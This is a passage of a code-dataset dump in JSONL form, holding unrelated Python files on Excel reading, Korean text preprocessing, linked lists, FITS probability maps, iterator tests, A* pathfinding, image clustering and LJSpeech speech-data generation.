])\n skip += 1\n\nprint(data)\nprint(\"=\"*10)\n# 데이터를 인구 순서로 정렬\ndata = sorted(data, key=lambda x:x[1])\nprint(data)\nprint(\"=\"*10)\n\n\"\"\"\n# 데이터를 도시명 순서로 정렬\ndata = sorted(data, key=lambda x:x[0])\nprint(data)\nprint(\"=\"*10)\n\"\"\"\n\n# 하위 5위 출력\nfor i, a in enumerate(data):\n if (i >= 5): break\n print(i + 1, a)\nprint(\"=\"*10)\n\nfor i, a in enumerate(data, start=1):\n if (i > 5): break\n print(i , a)","sub_path":"PythonAI/Source/W1D5/EXCEL/excel-read.py","file_name":"excel-read.py","file_ext":"py","file_size_in_byte":1042,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"205802791","text":"import re\nfrom konlpy.tag import Mecab\n\n\ndef preprocess(reviews):\n mecab = Mecab(dicpath=r\"C:\\mecab\\mecab-ko-dic\")\n stopwords = {\n '도', '는', '다', '의', '가', '이', '은', '한', '에', '하', '고', '을', '를', '인', '듯', '과', '와', '네', '들', '듯', '지', '임', '게',\n '의','가','이','은','들','는','좀','잘','걍','과','도','를','으로','자','에','와','한','하다'\n }\n\n corpus = []\n for review in reviews:\n review = re.sub('[^ㄱ-ㅎㅏ-ㅣ가-힣]', '', str(review))\n review = mecab.morphs(review) # 토큰화\n review = [word for word in review if not word in stopwords] # 불용어 제거\n corpus.append(review)\n return corpus","sub_path":"pjt2/MechineLearning/supervised_learning/v1/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":730,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"258009723","text":"# coding: UTF-8\n__author__ = 'LiMingji'\n\n\nclass ListNode(object):\n def __init__(self, x):\n self.val = x\n self.next = None\n\n\nclass Solution(object):\n def partition(self, head, x):\n smaller = smallerCur = ListNode(-1)\n bigger = biggerCur = ListNode(-1)\n\n cur = head\n while cur is not None:\n if cur.val < x:\n smallerCur.next =cur\n smallerCur = smallerCur.next\n else:\n biggerCur.next = cur\n biggerCur = biggerCur.next\n cur = cur.next\n biggerCur.next = None\n smallerCur.next = bigger.next\n return smaller.next\n\n\n\n\n","sub_path":"leetcode/linkedList/PartitionList.py","file_name":"PartitionList.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"502374479","text":"#!/usr/bin/env python3\n# Last modified: 2018-08-24 01:08:51\n\ndef is_prime(n):\n if n == 2 or n == 3: return True\n if n < 2 or n%2 == 0: return False\n if n < 9: return True\n if n%3 == 0: return False\n r = int(n**0.5)\n f = 5\n while f <= r:\n print('\\t',f)\n if n%f == 0: return False\n if n%(f+2) == 0: return False\n f +=6\n return True \n\nnum_list = range(10)\nsome_list = list()\nfor num in num_list:\n if is_prime(num):\n some_list.append(num + 5)\n\nprint(some_list)\n","sub_path":"python_idiom/code/list_comprehension_bad_code.py","file_name":"list_comprehension_bad_code.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"497104456","text":"import pickle\n\nimport os\nimport numpy as np\nfrom astropy.io import fits\nimport argparse\nfrom scipy.stats import chi2, norm\nfrom convert_to_equatorial import get_v2_output_dir\n\n# ======================================\n# The magic Millipede contour numbers\n# ======================================\n\nthreshold_50_ic160427a = 22.2\nthreshold_90_ic160427a = 64.2\n\nthreshold_50_ic170922a = 9.74\nthreshold_90_ic170922a = 41.55\n\nthreshold_50_diffuse = 8.404\nthreshold_90_diffuse = 43.945\n\n# ======================================\n\n\ndef get_v3_output_dir(base_output_dir):\n return os.path.join(base_output_dir, \"fits_v3_prob_map\")\n\ndef get_systematics_filename(filename, distribution):\n return \"{0}-{1}.fits\".format(\n (os.path.splitext(filename)[0]),\n distribution\n )\n\ndef convert_prob_ts(p):\n return chi2.ppf(p, 2)\n\ndef apply_mask_rescale(probs, lower_ts, upper_ts, lower_prob, upper_prob):\n mask = np.logical_and(probs > lower_ts,\n probs < upper_ts\n )\n probs[mask] -= lower_ts\n expected_lower = convert_prob_ts(lower_prob)\n expected_upper = convert_prob_ts(upper_prob)\n probs[mask] *= (expected_upper - expected_lower)/(upper_ts - lower_ts)\n probs[mask] += expected_lower\n return probs\n\n\ndef convert_to_prob(data, contours):\n \"\"\"\n Apply four-stage rescale of LLH landscape, to reach Wilk's-like rescaled contours.\n Then converts these to probabilities, using exponential.\n Rescales 0-50%, and 50-90%, based on known contour threshold numbers.\n Extrapolated to 99% contour using 50-90%. Truncates everything beyond 99% to prob of 0.\n\n :param data: delta-llh landscape\n :param contours: rescaling values for contours\n :return: pixelwise probabilities\n \"\"\"\n probs = np.copy(data)\n probs = np.array(probs) - min(probs)\n probs[np.isnan(probs)] = max(probs)\n \n for (lower_ts, upper_ts, lower_prob, upper_prob) in contours:\n \n probs = apply_mask_rescale(probs, lower_ts, upper_ts, lower_prob, upper_prob)\n\n \n threshold_max = contours[-1][1]\n mask = probs > threshold_max\n probs = np.exp(-probs)\n probs[mask] = 0.0\n probs /= np.sum(probs)\n \n return probs\n\ndef convert_with_50_90(data, threshold_50, threshold_90):\n\n expected_lower_50 = convert_prob_ts(0.5)\n expected_upper_90 = convert_prob_ts(0.90)\n grad_50_90 = (expected_upper_90 - expected_lower_50) / (threshold_90 - threshold_50)\n\n def extrapolate_ts_from_90(p):\n return threshold_90 + (convert_prob_ts(p) - expected_upper_90) / grad_50_90\n\n # Set everything beyond this percentile threshold to zero\n truncation_percentile = 0.999\n threshold_max = extrapolate_ts_from_90(truncation_percentile)\n contours = [\n (0.0, threshold_50, 0.0, 0.5),\n (threshold_50, threshold_90, 0.5, 0.9),\n (threshold_90, threshold_max, 0.9, truncation_percentile)\n ]\n\n return convert_to_prob(data, contours)\n\n\ndef convert_llh_to_prob(candidate, base_output_dir, distribution=\"IC160427A\"):\n\n if distribution == \"IC170922A\":\n threshold_50 = threshold_50_ic170922a\n threshold_90 = threshold_90_ic170922a\n\n elif distribution == \"IC160427A\":\n threshold_50 = threshold_50_ic160427a\n threshold_90 = threshold_90_ic160427a\n\n elif distribution == \"diffuse\":\n threshold_50 = threshold_50_diffuse\n threshold_90 = threshold_90_diffuse\n\n else:\n raise Exception(\"Unrecognised distribution '{0}'\".format(distribution))\n\n input_dir = get_v2_output_dir(base_output_dir)\n path = os.path.join(input_dir, candidate)\n\n output_dir = get_v3_output_dir(base_output_dir)\n \n try:\n os.makedirs(output_dir)\n except OSError:\n pass\n\n sys_filename = get_systematics_filename(candidate, distribution)\n\n output_file = os.path.join(\n output_dir,\n sys_filename\n )\n\n with fits.open(path) as hdul:\n data = hdul[0].data\n header = hdul[0].header\n header[\"DATA\"] = \"PROB\"\n hdul[0].data = convert_with_50_90(data, threshold_50, threshold_90)\n print(\"Writing to\", output_file)\n hdul.writeto(output_file, overwrite=True)\n\n return sys_filename\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-o\", \"--output_dir\")\n parser.add_argument(\"-e\", \"--event\", default=None)\n parser.add_argument(\"-d\", \"--distribution\")\n args = parser.parse_args()\n\n if args.event is not None:\n candidates = [args.event]\n else:\n candidates = sorted([y for y in os.listdir(get_v2_output_dir(args.output_dir)) if \"event\" in y])\n\n for candidate in candidates:\n convert_llh_to_prob(candidate, args.output_dir,args.distribution)\n","sub_path":"convert_llh_to_prob.py","file_name":"convert_llh_to_prob.py","file_ext":"py","file_size_in_byte":4764,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"330951455","text":"# Built-ins\nfrom __future__ import absolute_import, division, print_function\nimport operator\nimport pickle\n\n# 3rd party\nimport pytest\n\n# This module\nimport iteration_utilities\n\n# Test helper\nfrom helper_leak import memory_leak_decorator\nfrom helper_cls import T, toT\n\n\nduplicates = iteration_utilities.duplicates\n\n\n@memory_leak_decorator()\ndef test_duplicates_empty1():\n assert list(duplicates([])) == []\n\n\n@memory_leak_decorator()\ndef test_duplicates_normal1():\n assert list(duplicates([T(1), T(2), T(1)])) == [T(1)]\n\n\n@memory_leak_decorator()\ndef test_duplicates_key1():\n assert list(duplicates([T(1), T(2), T(1)], abs)) == [T(1)]\n\n\n@memory_leak_decorator()\ndef test_duplicates_key2():\n assert list(duplicates([T(1), T(1), T(-1)], abs)) == toT([1, -1])\n\n\n@memory_leak_decorator()\ndef test_duplicates_unhashable1():\n assert list(duplicates([{T(1): T(1)}, {T(2): T(2)}, {T(1): T(1)}]\n )) == [{T(1): T(1)}]\n\n\n@memory_leak_decorator()\ndef test_duplicates_unhashable2():\n assert list(duplicates([[T(1)], [T(2)], [T(1)]])) == [[T(1)]]\n\n\n@memory_leak_decorator()\ndef test_duplicates_unhashable3():\n assert list(duplicates([[T(1), T(1)], [T(1), T(2)],\n [T(1), T(3)]], operator.itemgetter(0)\n )) == [[T(1), T(2)], [T(1), T(3)]]\n\n\n@memory_leak_decorator()\ndef test_duplicates_getter1():\n t = duplicates([T(1), T([0, 0]), T(3), T(1)])\n assert not t.seen\n assert t.key is None\n assert next(t) == T(1)\n assert T(1) in t.seen\n assert T(3) in t.seen\n assert T([0, 0]) in t.seen\n assert t.key is None\n\n\n@memory_leak_decorator(collect=True)\ndef test_duplicates_failure1():\n with pytest.raises(TypeError):\n list(duplicates(T(10)))\n\n\n@memory_leak_decorator(collect=True)\ndef test_duplicates_failure2():\n with pytest.raises(TypeError):\n list(duplicates([T(1), T(2), T(3), T('a')], abs))\n\n\n@pytest.mark.xfail(iteration_utilities.EQ_PY2,\n reason='pickle does not work on Python 2')\n@memory_leak_decorator(offset=1)\ndef test_duplicates_pickle1():\n dpl = duplicates([T(1), T(2), T(1), T(2)])\n assert next(dpl) == T(1)\n x = pickle.dumps(dpl)\n assert list(pickle.loads(x)) == [T(2)]\n","sub_path":"tests/test_duplicates.py","file_name":"test_duplicates.py","file_ext":"py","file_size_in_byte":2233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"573149566","text":"#!/usr/bin/python\n# # -*- coding: utf-8 -*-\n\nfrom libs.text_funcs import load_some_text\nfrom syur_classes import MyWord\nfrom libs.text_funcs import split_by_words, split_by_sentences\nfrom syurbot_db.add_words import get_lexeme_dict_rows, write_words_rows, group_word_temp_rows\nfrom syurbot_db.db_models.source_dict import SourceDictModel\nfrom config.config import engine\nfrom syurbot_db.hashing import row_to_hash\nfrom sqlalchemy import text\nfrom sqlalchemy.exc import ProgrammingError as SQLProgrammingError\n\nMyWord.purpose = \"add_db_source_dict\"\nconnection = engine.connect()\n\n\ndef add_source_dict(\n source_id,\n source_text=None,\n sentences=None,\n\n):\n\n #SourceDictModel.__table__.create(engine)\n\n if not sentences:\n sentences = split_by_sentences(source_text)\n\n for sentence in sentences:\n sentences_lexemes = split_by_words(sentence)\n lexemes_with_registers = [{\"lexeme\": lexeme, \"is_first\": 0} for lexeme in sentences_lexemes]\n lexemes_with_registers[0][\"is_first\"] = 1\n sentence_dict = {\n \"sentence\": sentence,\n \"source_id\": source_id,\n \"sentence_length\": len(sentences_lexemes),\n \"fixed_words_qty\": 0,\n \"trash_words_qty\": 0\n }\n\n for lexeme in lexemes_with_registers:\n lexeme_hash = row_to_hash([lexeme[\"lexeme\"], str(lexeme[\"is_first\"])])\n select_lexeme_text = text(\n \"\"\"\n SELECT id, hash, frequency, type FROM source_dict\n WHERE hash = :lexeme_hash\n \"\"\"\n )\n select_lexeme = connection.execute(\n select_lexeme_text,\n lexeme_hash=lexeme_hash\n ).fetchone()\n\n if select_lexeme:\n lexeme_id = select_lexeme.id\n frequency = select_lexeme.frequency\n lexeme_type = select_lexeme.type\n\n update_source_dict_text = text(\n \"\"\"\n UPDATE source_dict SET frequency = :frequency\n WHERE id = :id\n \"\"\"\n )\n connection.execute(\n update_source_dict_text,\n frequency=frequency+1,\n id=lexeme_id\n )\n\n else:\n get_register = \"get_register\"\n\n if lexeme[\"is_first\"]:\n get_register = None\n\n lexeme_type = MyWord(word=lexeme[\"lexeme\"], word_register=get_register).info\n insert_into_source_dict_text = text(\n \"\"\"\n INSERT INTO source_dict (lexeme, is_first, tags, hash, type, frequency)\n VALUES (:lexeme, :is_first, '', :lexeme_hash, :lexeme_type, 1) \n \"\"\"\n\n )\n\n connection.execute(\n insert_into_source_dict_text,\n lexeme=lexeme[\"lexeme\"],\n is_first=lexeme[\"is_first\"],\n lexeme_hash=lexeme_hash,\n lexeme_type=lexeme_type\n )\n\n if lexeme_type == \"trash\":\n sentence_dict[\"trash_words_qty\"] += 1\n elif lexeme_type == \"fixed\":\n sentence_dict[\"fixed_words_qty\"] += 1\n\n try:\n insert_into_sentence_text = text(\n \"\"\"\n INSERT INTO sentence (sentence, source_id, sentence_length, fixed_words_qty, trash_words_qty)\n VALUES (:sentence, :source_id, :sentence_length, :fixed_words_qty, :trash_words_qty)\n \"\"\"\n )\n connection.execute(\n insert_into_sentence_text,\n sentence=sentence_dict[\"sentence\"],\n source_id=sentence_dict[\"source_id\"],\n sentence_length=sentence_dict[\"sentence_length\"],\n fixed_words_qty=sentence_dict[\"fixed_words_qty\"],\n trash_words_qty=sentence_dict[\"trash_words_qty\"],\n )\n except SQLProgrammingError:\n continue\n\n\ndef get_source_dict_rows(source_id):\n source_dict_query = connection.execute(\n \"\"\"\n SELECT * \n FROM source_dict\n \"\"\"\n )\n rows = []\n\n for source_dict_row in source_dict_query:\n get_register = \"get_register\"\n if source_dict_row.is_first:\n get_register = None\n rows += get_lexeme_dict_rows(\n lexeme=source_dict_row.lexeme,\n tags=None,\n word_register=get_register,\n is_normal_form=False,\n source_id=source_id,\n frequency=source_dict_row.frequency,\n purpose=\"add_db_source_dict\"\n )\n\n return rows\n\n\n\"\"\"\nmytext = load_some_text(\"ann_kar.txt\")\n#add_source_dict(text=mytext, source_id=2)\nadd_source_dict(sentences=mysentences, source_id=3)\nsource_dict_rows = get_source_dict_rows(source_id=3)\nwrite_words_rows(source_dict_rows)\ngroup_word_temp_rows()\n\n\n\"\"\"\nimport pyexcel as pe\nsheet = pe.get_sheet(file_name='D:\\syurbot\\syurbot_db\\dal_wisdom.xlsx')\n\nmy_sentences=[]\nfor row in sheet:\n my_sentences.append(row[0])\n\nadd_source_dict(sentences=my_sentences, source_id=3)\n\n\n\n\n\n","sub_path":"syurbot_db/db_add_source.py","file_name":"db_add_source.py","file_ext":"py","file_size_in_byte":5223,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"190463709","text":"\"\"\"\npip3 install opencv-python\n\"\"\"\ndef get_cluster(path):\n import os, codecs\n import cv2\n import numpy as np\n from sklearn.cluster import KMeans\n cluster_num = 5 \n def get_file_name(path):\n '''\n Args: path to list; Returns: path with filenames\n '''\n filenames = os.listdir(path)\n path_filenames = []\n filename_list = []\n for file in filenames:\n if not file.startswith('.'):\n if '.json' not in file :\n path_filenames.append(os.path.join(path, file))\n filename_list.append(file)\n\n return path_filenames\n\n def knn_detect(file_list, cluster_nums, randomState = None):\n features = []\n files = file_list\n sift = cv2.xfeatures2d.SIFT_create()\n for file in files:\n\n print(file)\n img = cv2.imread(file)\n img = cv2.resize(img, (350,350 ), interpolation=cv2.INTER_CUBIC)\n gray= cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\n # sift = cv2.xfeatures2d.SIFT_create()\n # kp = sift.detect(gray,None)\n # img=cv2.drawKeypoints(gray,kp,img)\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n # \t\t\tprint(gray.dtype)\n _, des = sift.detectAndCompute(gray, None)\n\n if des is None:\n file_list.remove(file)\n continue\n\n reshape_feature = des.reshape(-1, 1)\n features.append(reshape_feature[0].tolist())\n\n input_x = np.array(features)\n\n # \tkmeans = KMeans(n_clusters = cluster_nums, random_state = randomState).fit(input_x)\n clustering = SpectralClustering(n_clusters=cluster_num,assign_labels=\"discretize\",random_state=0).fit(input_x)\n # \treturn kmeans.labels_, kmeans.cluster_centers_\n return clustering.labels_\n\n def res_fit(filenames, labels):\n\n files = [file.split('/')[-1] for file in filenames]\n\n return dict(zip(files, labels))\n\n def save(path, filename, data):\n file = os.path.join(path, filename)\n with codecs.open(file, 'w', encoding = 'utf-8') as fw:\n for f, l in data.items():\n fw.write(\"{}\\t{}\\n\".format(f, l))\n\n\n path_filenames = get_file_name(path)\n\n # labels, cluster_centers = knn_detect(path_filenames, 5)\n labels = knn_detect(path_filenames, cluster_num) \n res_dict = res_fit(path_filenames, labels)\n # save(r'E:\\Study\\CareerHack\\OneDrive_2_2020-2-7\\train20200205\\LabelingTrainingData\\Input', 'knn_res.txt', res_dict)\n res_dict\n\n\n\n cluster = []\n for i in range(cluster_num):\n cluster.append([])\n for key in res_dict :\n cluster[res_dict[key]].append(key.replace(path+\"\\\\\",\"\"))\n return cluster","sub_path":"image_clustering.py","file_name":"image_clustering.py","file_ext":"py","file_size_in_byte":2793,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"605506644","text":"## TEST\n\nimport heapq\nimport numpy as np\n\n# True\n# True\n# True\n# True\n# True\n# False\n# False\n# False\n# True\n# True\n# True\n# False\n# True\n# True\n# True\n# False\n# True\n# True\n# True\n# False\n# False\n# True\n# True\n# False\n# True\n# False\n# True\n# True\n# False\n# True\n# True\n# False\n# True\n# True\n# True\n# True\n\nmappy = [\n [[0,None],[0,None],[0,None],[0,None],[0,None],[1,None]],\n [[1,None],[1,None],[0,None],[0,None],[0,None],[1,None]],\n [[0,None],[0,None],[0,None],[1,None],[0,None],[0,None]],\n [[0,None],[1,None],[1,None],[0,None],[0,None],[1,None]],\n [[0,None],[1,None],[0,None],[0,None],[1,None],[0,None]],\n [[0,None],[1,None],[0,None],[0,None],[0,None],[0,None]]\n]\n\nmappy2 = [\n [[0,None],[0,None],[0,None],[0,None],[1,None],[0,None]],\n [[0,None],[0,None],[0,None],[0,None],[1,None],[0,None]],\n [[0,None],[0,None],[0,None],[0,None],[1,None],[0,None]],\n [[0,None],[0,None],[0,None],[0,None],[0,None],[0,None]],\n [[0,None],[0,None],[0,None],[0,None],[1,None],[0,None]],\n [[0,None],[0,None],[1,None],[1,None],[1,None],[0,None]]\n]\n\nclass Cell(object):\n def __init__(self, x, y, reachable):\n \"\"\"\n Initialize new cell\n\n @param x cell x coordinate\n @param y cell y coordinate\n @param reachable is cell reachable? not a wall?\n \"\"\"\n self.reachable = reachable\n self.x = x\n self.y = y\n self.parent = None\n self.g = 0\n self.h = 0\n self.f = 0\n \n def __gt__(self,cell):\n return self.f > cell.f\n \nclass AStar(object):\n def __init__(self,MAP,start,end):\n self.opened = []\n heapq.heapify(self.opened)\n self.closed = set()\n self.cells = []\n self.grid_height = len(MAP)\n self.grid_width = len(MAP)\n self.init_grid(MAP,start,end)\n \n def init_grid(self,MAP,start,end):\n n = len(MAP)\n for x in range(n):\n for y in range(n):\n self.cells.append(Cell(x,y,(MAP[x,y][0] != 1)))\n \n self.start = self.get_cell(start[0], start[1])\n self.end = self.get_cell(end[0], end[1])\n\n \n def get_heuristic(self, cell):\n \"\"\"\n Compute the heuristic value H for a cell: distance between\n this cell and the ending cell multiply by 10.\n \n @param cell\n @returns heuristic value H\n \"\"\"\n return 10 * (abs(cell.x - self.end.x) + abs(cell.y - self.end.y))\n \n def get_adjacent_cells(self, cell):\n \"\"\"\n Returns adjacent cells to a cell. Clockwise starting\n from the one on the right.\n \n @param cell get adjacent cells for this cell\n @returns adjacent cells list \n \"\"\"\n cells = []\n if cell.x < self.grid_width-1:\n cells.append(self.get_cell(cell.x+1, cell.y))\n if cell.y > 0:\n cells.append(self.get_cell(cell.x, cell.y-1))\n if cell.x > 0:\n cells.append(self.get_cell(cell.x-1, cell.y))\n if cell.y < self.grid_height-1:\n cells.append(self.get_cell(cell.x, cell.y+1))\n return cells\n \n def get_cell(self, x, y):\n \"\"\"\n Returns a cell from the cells list\n \n @param x cell x coordinate\n @param y cell y coordinate\n @returns cell\n \"\"\"\n return self.cells[x * self.grid_height + y]\n \n def get_path(self):\n cell = self.end\n path = []\n path.append((cell.x,cell.y))\n while cell.parent is not self.start:\n cell = cell.parent\n path.append((cell.x,cell.y))\n return path\n \n \n def update_cell(self, adj, cell):\n \"\"\"\n Update adjacent cell\n \n @param adj adjacent cell to current cell\n @param cell current cell being processed\n \"\"\"\n adj.g = cell.g + 10\n adj.h = self.get_heuristic(adj)\n adj.parent = cell\n adj.f = adj.h + adj.g\n \n def process(self):\n # add starting cell to open heap queue\n heapq.heappush(self.opened, (self.start.f, self.start))\n while len(self.opened):\n # pop cell from heap queue \n f, cell = heapq.heappop(self.opened)\n # add cell to closed list so we don't process it twice\n self.closed.add(cell)\n # if ending cell, display found path\n if cell is self.end:\n return self.get_path()\n # get adjacent cells for cell\n adj_cells = self.get_adjacent_cells(cell)\n for adj_cell in adj_cells:\n if adj_cell.reachable and adj_cell not in self.closed:\n if (adj_cell.f, adj_cell) in self.opened:\n # if adj cell in open list, check if current path is\n # better than the one previously found for this adj\n # cell.\n if adj_cell.g > cell.g + 10:\n self.update_cell(adj_cell, cell)\n else:\n self.update_cell(adj_cell, cell)\n # add adj cell to open list\n ## marche en python 2.7\n heapq.heappush(self.opened, (adj_cell.f, adj_cell))\n ## test en python 3.*\n #self.opened.append((adj_cell.f, adj_cell))\n return False","sub_path":"poubelle/A-Star-test2.py","file_name":"A-Star-test2.py","file_ext":"py","file_size_in_byte":5408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"581039421","text":"# coding=utf-8\n\"\"\"Ljspeech dataset.\"\"\"\n\nimport os\nimport tarfile\nfrom tensor2tensor.data_generators import generator_utils, audio_encoder\nfrom tensor2tensor.data_generators import problem\nimport pandas as pd\nfrom tensor2tensor.data_generators import speech_recognition\nfrom tensor2tensor.data_generators.speech_recognition import ByteTextEncoderWithEos\nfrom tensor2tensor.utils import registry\nimport concurrent.futures\n\nimport tensorflow as tf\n\n_LJSPEECH_TTS_DATASET = \"http://data.keithito.com/data/speech/LJSpeech-1.1.tar.bz2\"\n\n\ndef _collect_data(directory, input_ext, transcription_ext):\n \"\"\"Traverses directory collecting input and target files.\"\"\"\n # Directory from string to tuple pair of strings\n # key: the filepath to a datafile including the datafile's basename. Example,\n # if the datafile was \"/path/to/datafile.wav\" then the key would be\n # \"/path/to/datafile\"\n # value: a pair of strings (media_filepath, label)\n data_files = {}\n for root, _, filenames in os.walk(directory):\n transcripts = [filename for filename in filenames\n if transcription_ext in filename]\n for transcript in transcripts:\n transcript_path = os.path.join(root, transcript)\n with open(transcript_path, \"r\") as transcript_file:\n for transcript_line in transcript_file:\n line_contents = transcript_line.strip().split(\" \", 1)\n media_base, label = line_contents\n key = os.path.join(root, media_base)\n assert key not in data_files\n media_name = \"%s.%s\" % (media_base, input_ext)\n media_path = os.path.join(root, media_name)\n data_files[key] = (media_base, media_path, label)\n return data_files\n\n\ndef set_ljspeech_hparams(model_hparams):\n model_hparams.audio_sample_rate = 22050\n model_hparams.num_freq = 1025\n model_hparams.rescale = True # Whether to rescale audio prior to preprocessing\n model_hparams.rescaling_max = 0.999 # Rescaling value\n model_hparams.hop_size = 275 # For 22050Hz, 275 ~= 12.5 ms (0.0125 * sample_rate)\n model_hparams.win_size = 1100 # For 22050Hz, 1100 ~= 50 ms (If None, win_size = n_fft) (0.05 * sample_rate)\n model_hparams.preemphasize = True # whether to apply filter\n model_hparams.preemphasis = 0.97 # filter coefficient.\n model_hparams.min_level_db = -100\n model_hparams.ref_level_db = 20\n model_hparams.fmin = 55 # Set this to 55 if your speaker is male! if female, 95 should help taking off noise. (To test depending on dataset. Pitch info: male~[65, 260], female~[100, 525])\n model_hparams.fmax = 7600 # To be increased/reduced depending on data.\n model_hparams.n_fft = 2048 # Extra window size is filled with 0 paddings to match this parameter\n model_hparams.signal_normalization = True # Extra window size is filled with 0 paddings to match this parameter\n model_hparams.allow_clipping_in_normalization = True # Only relevant if mel_normalization = True\n model_hparams.symmetric_mels = True # Whether to scale the data to be symmetric around 0. (Also multiplies the output range by 2, faster and cleaner convergence)\n model_hparams.max_abs_value = 4. # max absolute value of data. If symmetric, data will be [-max, max] else [0, max] (Must not be too big to avoid gradient explosion,\n # Griffin Lim\n model_hparams.power = 1.5 # Only used in G&L inversion, usually values between 1.2 and 1.5 are a good choice.\n model_hparams.griffin_lim_iters = 60 # Number of G&L iterations, typically 30 is enough but we use 60 to ensure convergence.\n\n # #M-AILABS (and other datasets) trim params (there parameters are usually correct for any data, but definitely must be tuned for specific speakers)\n model_hparams.trim_fft_size = 512\n model_hparams.trim_hop_size = 128\n model_hparams.trim_top_db = 23\n model_hparams.frame_shift_ms = None # Can replace hop_size parameter. (Recommended: 12.5)\n model_hparams.use_lws = False\n model_hparams.silence_threshold = 2 # silence threshold used for sound trimming for wavenet preprocessing\n model_hparams.trim_silence = True # Whether to clip silence in Audio (at beginning and end of audio only, not the middle)\n\n\n@registry.register_problem()\nclass LjspeechProblem(speech_recognition.SpeechRecognitionProblem):\n @property\n def num_shards(self):\n return 100\n\n @property\n def use_subword_tokenizer(self):\n return False\n\n @property\n def num_dev_shards(self):\n return 1\n\n @property\n def num_test_shards(self):\n return 1\n\n @property\n def use_train_shards_for_dev(self):\n \"\"\"If true, we only generate training data and hold out shards for dev.\"\"\"\n return False\n\n @staticmethod\n def process_wav(raw_data_dir, media_file, model_hparams, linear=True):\n media_file = os.path.join(raw_data_dir, 'wavs', media_file + '.wav')\n wav_data, mel_data, linear_data = _process_utterance(media_file, model_hparams, linear=linear)\n return wav_data, mel_data, linear_data\n\n def hparams(self, defaults=None, model_hparams=None):\n super().hparams(defaults, model_hparams)\n set_ljspeech_hparams(self.model_hparams)\n self.model_hparams.add_hparam('symbol_size', 64)\n\n # def feature_encoders(self, _):\n # return {\n # \"inputs\": ByteTextEncoderWithEos(),\n # \"waveforms\": audio_encoder.AudioEncoder(sample_rate=22050),\n # }\n\n def generator(self, data_dir, tmp_dir, datasets,\n eos_list=None, start_from=0, how_many=0):\n del eos_list\n i = 0\n raw_data_dir = os.path.join(tmp_dir, \"LjSpeech-1.1\")\n\n # if not exist, download\n if not os.path.exists(raw_data_dir):\n filename = os.path.basename(datasets)\n compressed_file = generator_utils.maybe_download(raw_data_dir, filename, datasets)\n read_type = \"r:bz2\"\n with tarfile.open(compressed_file, read_type) as corpus_tar:\n corpus_tar.extractall(raw_data_dir)\n\n encoders = self.feature_encoders(data_dir)\n audio_encoder = encoders[\"waveforms\"]\n text_encoder = encoders[\"targets\"]\n # text_encoded = text_encoder.encode(clean(text))\n data_df = pd.read_csv(os.path.join(raw_data_dir, 'metadata.csv'))\n\n with concurrent.futures.ProcessPoolExecutor(max_workers=16) as executor:\n future_to_url = {\n executor.submit(self.process_wav, raw_data_dir, r['wav'], self.model_hparams, False):\n (idx, r['phone'], r['txt1'], r['wav'])\n for idx, r\n in data_df.iloc[start_from:start_from + how_many].iterrows()\n }\n\n for url, subdir in datasets:\n # filename = os.path.basename(url)\n # compressed_file = generator_utils.maybe_download(tmp_dir, filename, url)\n #\n # read_type = \"r:gz\" if filename.endswith(\"tgz\") else \"r\"\n # with tarfile.open(compressed_file, read_type) as corpus_tar:\n # # Create a subset of files that don't already exist.\n # # tarfile.extractall errors when encountering an existing file\n # # and tarfile.extract is extremely slow\n # members = []\n # for f in corpus_tar:\n # if not os.path.isfile(os.path.join(tmp_dir, f.name)):\n # members.append(f)\n # corpus_tar.extractall(tmp_dir, members=members)\n\n data_files = _collect_data(raw_data_dir, \"flac\", \"txt\")\n data_pairs = data_files.values()\n\n # encoders = self.feature_encoders(data_dir)\n # audio_encoder = encoders[\"waveforms\"]\n # text_encoder = encoders[\"targets\"]\n\n for utt_id, media_file, text_data in sorted(data_pairs)[start_from:]:\n if 0 < how_many == i:\n return\n i += 1\n wav_data = audio_encoder.encode(media_file)\n spk_id, unused_book_id, _ = utt_id.split(\"-\")\n yield {\n \"waveforms\": wav_data,\n \"waveform_lens\": [len(wav_data)],\n \"targets\": text_encoder.encode(text_data),\n \"raw_transcript\": [text_data],\n \"utt_id\": [utt_id],\n \"spk_id\": [spk_id],\n }\n\n def generate_data(self, data_dir, tmp_dir, task_id=-1):\n train_paths = self.training_filepaths(\n data_dir, self.num_shards, shuffled=False)\n # dev_paths = self.dev_filepaths(\n # data_dir, self.num_dev_shards, shuffled=False)\n test_paths = self.test_filepaths(\n data_dir, self.num_test_shards, shuffled=True)\n data = self.generator(data_dir, tmp_dir, _LJSPEECH_TTS_DATASET, start_from=0, how_many=100)\n generator_utils.generate_files(data, test_paths)\n data = self.generator(data_dir, tmp_dir, _LJSPEECH_TTS_DATASET, start_from=100, how_many=-1)\n generator_utils.generate_files(data, train_paths)\n generator_utils.shuffle_dataset(train_paths)\n\n # generator_utils.generate_files(\n # self.generator(data_dir, tmp_dir, _LJSPEECH_TTS_DATASET), test_paths)\n #\n # if self.use_train_shards_for_dev:\n # all_paths = train_paths + dev_paths\n # generator_utils.generate_files(\n # self.generator(data_dir, tmp_dir, _LJSPEECH_TTS_DATASET), all_paths)\n # generator_utils.shuffle_dataset(all_paths)\n # else:\n # generator_utils.generate_dataset_and_shuffle(\n # self.generator(data_dir, tmp_dir, _LJSPEECH_TTS_DATASET), train_paths,\n # self.generator(data_dir, tmp_dir, _LJSPEECH_TTS_DATASET), dev_paths)\n\n def dataset_filename(self):\n return 